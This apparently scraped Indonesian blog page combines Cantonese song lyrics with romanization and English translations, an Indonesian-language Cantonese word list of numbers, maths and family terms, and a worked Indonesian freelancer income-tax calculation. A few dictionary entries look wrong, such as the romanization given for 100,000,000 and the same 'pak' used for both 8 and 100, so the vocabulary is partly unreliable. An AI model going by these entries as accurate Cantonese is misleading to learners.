仍寧願親口講你累得很
I’d rather say you’re tired
ying ning yun can hau gong nei leoi dak han

如除我以外在你心
If someone apart from me
yu ceoi ngo yi ngoi zoi nei sam

還多出一個人 你瞞住我
Is in your heart, You hidden it from me
waan do ceot yat go yan nei mun zyu ngo

我亦 瞞住我 太合襯
I also hidden that from me
ngo yik mun zyu ngo taai hap can


無言的親親親 侵襲我心
Wordless kiss melting my heart
mou yin dik can can can cam zaap ngo sam

仍寧願親口講你累得很
I’d rather say you’re tired
ying ning yun can hau gong nei leoi dak han

如除我以外在你心
If someone apart from me
yu ceoi ngo yi ngoi zoi nei sam

還多出一個人 你瞞住我
Is in your heart, You hidden it from me
waan do ceot yat go yan nei mun zyu ngo

我亦 瞞住我 太合襯
I also hidden that from me
ngo yik mun zyu ngo taai hap can

Kamus Bahasa Konghu / Kanton

Bahasa Kanton adalah bahasa yang dipakai oleh sekelompok orang dari wilayah Tiongkok bagian tenggara. Orang Kanton banyak tinggal di Guangdong, Guangxi Timur, Hong Kong, dan Makau. Di Indonesia, orang Kanton biasa disebut Konghu.

Bahasa Kanton (广东话/廣東話, secara harafiah: bahasa Guangdong; di Indonesia sering disebut bahasa Konghu) adalah salah satu dari dialek bahasa Tionghoa Yue yang dituturkan di Guangdong dan sekitarnya di Republik Rakyat China selatan, Hong Kong, Makau, masyarakat keturunan Tionghoa di Asia Tenggara dan juga masyarakat Tionghoa di belahan dunia lain. Bahasa Kanton merupakan dialek prestise tradisional dari Yue.

Angka dalam Konghu
1 = yat60 = luk sap100 = pak
2 = yi21 = yi sap yat1.000 = jin
3 = sam89 = pak sap kau10.000 = maan
4 = sei100 = yat pak 100.000 = sap man
5 = em200 = yi pak1.000.000 = pak man
6 =luk1000 = yat jin10.000.000 = jin man
7 =jay1291 = yat jin yi pak kau sap yat100.000.000 = zik
8 = pak3000 = sam jin
9 = kau1001 = yat jin ling yat
10 = sap1500 = yat jin em pak
11 = sap yat10.000 = yat man
12 = sap yi900.001 = kau sap man ling yat
Math In Cantonese – KonghuIndonesia
sou hok / 數學Matematika
kam / gam  / 減 (minus)dikurangi
加 (plus)ditambah
乘 (multiply)dikali
除  (divided by)dibagi
tang jyu / 等於 (equal)sama dengan
tim / 點 (point/dot)(.) Titik
pakfenci / 百分之(%) Persen
to(•) Derajat
siu sou / 小數Decimal
sinCent
yat pun / pun1/2 Setengah
sam fan yat1/3
sei fan yat1/4
sei fan sam3/4
ka tai ma / 加大碼XL
ka sai ma / 加細碼XS
Cantonese Math

Daftar Kosakata Cantonese Kasar / Makian

Link Pencarian Kamus Bahasa Cantonese

ngoaku
nei / leikamu
nei gei hou mabagaimana kabar mu?
hou housangat baik
gei houcukup baik
ma ma deibiasa saja
em goi / do zeterima kasih
bai baisampai jumpa
em goi mai dantolong bon nya
hoeng kongHongKong
haiiya
em haitidak
kam yathari ini
tim abagaimana?
geoidia
ngo teikami / kita
nei teikalian
geoi teimereka
yan teiorang lain
leng zaiganteng / handsome boy
leng loicantik / beautiful girl
hao sang zaianak muda
mama / lou mo / 阿媽 / 嫲嫲ibu
kung kung / 公公kakek
bo bo / 婆婆nenek
gau fu / 舅父paman
ka ce / cece / 家姐/姐姐kakak perempuan
mui mui / 妹妹adik perempuan
leoi / 女anak perempuan
papa / lou tau / 爸爸ayah
ye ye / 爺爺kakek
suk suk / 叔叔paman
ko ko / koko / 哥哥kakak laki – laki
sai lou / 细佬adik laki – laki
cai / 兒子anak laki – laki
lou paan /kuchu /lou sai / 老闆majikan
lou kung / 老公suami
lou bo / 老婆istri
siu ye / 小爺tuan muda
siu ce / 小姐nona
sinsang / 先生tuan
dai dai / 太太nyonya
jongduda
lei fenjanda cerai
kit fenmenikah
yi fenmenikah
tan sansingle
hing taisaudara kandung laki – laki
piucekeponakan perempuan
piukokeponakan laki
lou saiboss
kung yanpembantu
si keisupir
hak yantamu
bang yauteman
Kosa Kata Keluarga Sehari Hari Konghu

Nei atau Lei

Banyak orang di HK bahkan tidak bisa lagi membedakan antara suara ‘n’ dan ‘l’. Saya baru saja menonton iklan Nike di mana seorang pria berbicara tentang betapa dia menyukai pakaian “likee” dan YoungQueenz masih bernyanyi tentang “locking on Heaven’s pintu” :-). Ini bukan pengucapan “malas” sebagai gabungan suara yang sebenarnya. Seorang teman saya sedang mencoba untuk memperbaiki suara n vs l-nya, dan sekarang dia sering mengoreksi dan berbicara tentang “mendekati” perbedaannya antara dua suara.

Dear Jane Lyric of 不許你注定一人 | Bat Heui Nei Jyu Ding Yat Yan | Cantonese Song English Translate


Dear Jane – Bat Heui Nei Jyu Ding Yat Yan

看 看著你的臉 躺在我枕邊
Hon hon jeuk nei dik lim tong joi ngo jam bin
look look at your face lying on my pillow

是你令時光蔓延
Si nei ling si gwong maan yin
it’s you who make time spread

你 折射了光線 刷亮我眼邊
Nei jit se liu gwong sin chaat leung ngo ngaan bin
You refracted the light and brushed my eyes

午後陽光彷彿給你加冕
Ng hau yeung gwong fong fat kap nei ga min
The afternoon sun seems to crown you

不管身邊多改變 只顧這日誓言
Bat gun san bin do goi bin ji gu je yat sai yin
No matter how many changes around me, I only care about this day’s oath

一聲不發在你身邊
Yat seng bat faat joi nei san bin
stay by your side without saying a word

不許你注定一人 永遠共你去抱緊
Bat heui nei jyu ding yat yan wing yun gung nei heui pou gang

You are not destined to be alone, I will always hug you tightly

一生中百樣可能 愛上你是種緣份
Yat sang jung baak yeung ho nang oi seung nei si jung yun fan

There are hundreds of possibilities in life, falling in love with you is a kind of fate

簡單的一吻 手心的抖震
Gaan daan dik yat man sau sam dik dau jan

A simple kiss, the shaking of the palm

示意我再不必孤單寄生
Si yi ngo joi bat bit gu daan gei saang

Show me that I don’t have to be alone anymore

只想會有日可能 與你共姓的身份
Ji seuing wui yau yat ho nang yu nei gung sing dik san fan

I just want to have the possibility to share the same surname with you

要回望這生 也有你陪襯
Yiu wui mong je saang ya yau nei pui chan

I want to look back on this life with you as a foil

不作陌生人 只做你情人 不枉此生
Bat jok mak sang yan ji jou nei ching yan bat wong chi saang

Don’t be a stranger, just be your lover, this life is not in vain

♪♪♪♪
怕 看著你走遠 歲月實太淺
Pa hon jeuk nei jau yun seui yut sat taai chin

Afraid to see you go far away, the years are too short

若有日迷失歸家方向不變
Yeuk yau yat mai sat gwai ga fong heung bat bin

If one day I get lost and go home, my direction remains the same

不管天開始積雪 這世界再決絕
Bat gun tin hoi chi jik syut je sai gaai joi kyut jyut

No matter if the sky starts to snow, the world will never again

都想跟你渡過辛酸
Dou seung gan nei dou gwo san syun

I want to spend bitterness with you

不許你注定一人 永遠共你去抱緊
Bat heui nei jyu ding yat yan wing yun gung nei heui pou gang

You are not destined to be alone, I will always hug you tightly

一生中百樣可能 愛上你是種緣份
Yat sang jung baak yeung ho nang oi seung nei si jung yun fan

There are hundreds of possibilities in life, falling in love with you is a kind of fate

簡單的一吻 手心的抖震
Gaan daan dik yat man sau sam dik dau jan

A simple kiss, the shaking of the palm

示意我再不必孤單寄生
Si yi ngo joi bat bit gu daan gei saang

Show me that I don’t have to be alone anymore

只想會有日可能 與你共姓的身份
Ji seuing wui yau yat ho nang yu nei gung sing dik san fan

I just want to have the possibility to share the same surname with you

要回望這生 也有你陪襯
Yiu wui mong je saang ya yau nei pui chan

I want to look back on this life with you as a foil

不作陌生人 只做你情人 不枉此生
Bat jok mak sang yan ji jou nei ching yan bat wong chi saang

Don’t be a stranger, just be your lover, this life is not in vain



從來不相信一生一愛侶 從來不堪一對
Chung loi bat seung seun yat saang yat oi leui chung loi bat ham yat deui

I never believe that there will be one lover in my life, and I will never be a couple

別再等 別再等 是你的聲音給方向感
Bit joi dang bit joi dang si nei dik seng yam kap fong heung gam

Don’t wait, don’t wait, it’s your voice that gives you the sense of direction

不許你注定一人 永遠共你去抱緊
Bat heui nei jyu ding yat yan wing yun gung nei heui pou gang

You are not destined to be alone, I will always hug you tightly

一生中百樣可能 愛上你是種緣份
Yat sang jung baak yeung ho nang oi seung nei si jung yun fan

There are hundreds of possibilities in life, falling in love with you is a kind of fate

簡單的一吻 手心的抖震
Gaan daan dik yat man sau sam dik dau jan

A simple kiss, the shaking of the palm

示意我再不必孤單寄生
Si yi ngo joi bat bit gu daan gei saang

Show me that I don’t have to be alone anymore

只想會有日可能 與你共姓的身份
Ji seuing wui yau yat ho nang yu nei gung sing dik san fan

I just want to have the possibility to share the same surname with you

要回望這生 也有你陪襯
Yiu wui mong je saang ya yau nei pui chan

I want to look back on this life with you as a foil

不作陌生人 只做你情人 不枉此生
Bat jok mak sang yan ji jou nei ching yan bat wong chi saang

Don’t be a stranger, just be your lover, this life is not in vain

Cara Perhitungan Pajak Freelancer Belum Kawin dan Kawin

Untuk Mengetahui Cara Menghitung Pajak Freelancer, kamu harus mengerti tentang:

  • PTKP (Penghasilan Tidak Kena Pajak)
  • Penghasilan Neto Menggunakan Norma Penghitungan Penghasilan Neto (NPPN)
  • Pajak Progresif PPh 21

PTKP

PTKP adalah Kepanjangan PTKP adalah penghasilan tidak kena pajak. PTKP merupakan pengurangan penghasilan bruto yang diberikan kepada Orang Pribadi Wajib Pajak Dalam Negeri sebelum menghitung PPh terutang yang tidak bersifat final. Besaran PTKP ini diatur dalam undang-undang dan/atau peraturan menteri keuangan.

  • Besarnya PTKP untuk Tahun Pajak 2018, 2017 dan 2016 sebagai berikut :
    • Rp54.000.000 untuk diri Wajib Pajak orang pribadi;
    • Rp4.500.000 tambahan untuk Wajib Pajak yang kawin;
    • Rp54.000.000 tambahan untuk seorang istri yang penghasilannya digabung dengan penghasilan suami sebagaimana Pasal 8 ayat (1) Undang-Undang Nomor 36 Tahun 2008 Tentang Pajak Penghasilan;
    • Rp4.500.000 tambahan untuk setiap anggota keluarga sedarah dan keluarga semenda dalam garis keturunan lurus serta anak angkat yang menjadi tanggungan sepenuhnya, paling banyak 3 orang untuk setiap keluarga.

TK/…

Tidak Kawin, ditambah dengan banyaknya tanggungan anggota keluarga;

K/…

Kawin, ditambah dengan banyaknya tanggungan anggota keluarga;

K/I/…

Kawin, tambahan untuk istri (hanya seorang) yang penghasilannya digabung dengan penghasilan suami, ditambah dengan banyaknya tanggungan anggota keluarga;

STATUS Wajib PajakBelum Punya Anak Anak Satu Anak Dua Anak Tiga
Laki-laki tidak kawin & WanitaTK/0
Rp54.000.000
TK/1
Rp58.500.000
TK/2
Rp63.000.000
TK/3
Rp67.500.000
Laki-Laki Kawin Istri Tidak Bekerja/Tidak UsahaK/0
Rp54.000.000
K/1
Rp63.000.000
K/2
Rp67.500.000
K/3
Rp72.000.000
PTKP Laki-Laki Kawin Istri BekerjaK/I/0
Rp112.500.000
K/I/1
Rp117.000.000
K/I/2
Rp121.500.000
K/I/3
Rp126.000.000
Laki Laki Atau Wanita, Bekerja dan Kawin dengan WNAK/0
Rp54.000.000
K/1
Rp63.000.000
K/2
Rp67.500.000
K/3
Rp72.000.000
Potongan Penghasilan Tidak Kena Pajak

NPPN

Besaran NPPN berbeda-beda tergantung jenis Wajib Pajaknya dan berada di kelompok wilayah mana. Tarif NPPN untuk seorang freelance biasanya 50%


Pajak Progresif PPh 21

Untuk melakukan perhitungan PPh 21, kita harus tahu terlebih dulu bahwa pajak penghasilan bersifat progresif. Oleh karena itu, sebelum masuk pada perhitungan, kita perlu mengetahui lapis tarif PPh yang dikenakan pada wajib pajak.

Peraturan pajak penghasilan progresif di tahun 2023 tertuang dalam RUU Ketentuan Umum Perpajakan yang diubah menjadi RUU Harmonisasi Peraturan Perpajakan (RUU HPP).

  1. Wajib pajak dengan penghasilan tahunan sampai dengan Rp60.000.000 dikenakan tarif pajak sebesar 5 persen. 
  2. Wajib pajak dengan penghasilan tahunan di atas Rp60.000.000 sampai dengan Rp250.000.000 dikenakan tarif sebesar 15%.
  3. Wajib pajak dengan penghasilan tahunan di atas Rp250.000.000 sampai dengan Rp500.000.000 dikenakan tarif pajak sebesar 25%.
  4. Wajib pajak dengan penghasilan tahunan di atas Rp500.000.000 – Rp5.000.000.000 dikenakan tarif pajak sebesar 30%. 
  5. Sementara itu, WP dengan pendapatan di atas Rp 5 miliar per tahun dikenakan pajak penghasilan tarif baru yaitu 35%.
Pajak Progresif PPh 21Persenan
Rp.0 s/d Rp60.000.000 5%
Rp60.000.001 s/d Rp250.000.000 15%
Rp250.000.001 s/d Rp500.000.000 25%
Rp500.000.001 s/d Rp5.000.000.00030%
Rp5.000.000.001++35%
Pajak Progressif PPh 21

Untuk freelancer jasa seperti photographer, programmer, design grafis, arsitek, guru les dan lain-lain kebanyakan memakai norma 50% dapat dihitung sebagai berikut:

Contoh Kasus Pajak Seorang Programmer

Programmer mempunyai 2 anak sudah menikah dengan istri tidak bekerja di kota besar seperti jakarta / bandung menghasilkan omset Rp. 30.000.000,-

Formula = (Omset per Tahun x 50%) - PTKP

(Rp. 30.000.000 x 12 bulan x 50%) – Rp. 67.500.000 = Rp. 112.500.000

PPh 21 terutang:

  • pajak PPh 21 yang terkena 5%
    • 5% x Rp. 60.000.000 = Rp. 3.000.000
  • Rp. 112.500.000 – Rp. 60.000.000 = Rp. 52.500.000
  • pajak PPh 21 yang terkena 15%
    • 15% x Rp. 52.500.000 = Rp. 7.875.000

Total PPh 21 Rp. 3.000.000 + Rp. 7.875.000 = Rp. 10.875.000

Jadi yang harus dibayarkan oleh Wajib Pajak programmer freelance kawin istri tidak bekerja dan mempunyai dua anak tersebut adalah Rp. 10.875.000


Notes: Jika ada kesalahan dalam penghitungan pajak di sini, mohon maaf dan berikan saya koreksi, terima kasih.


Referensi Lebih Lanjut:

Exit mobile version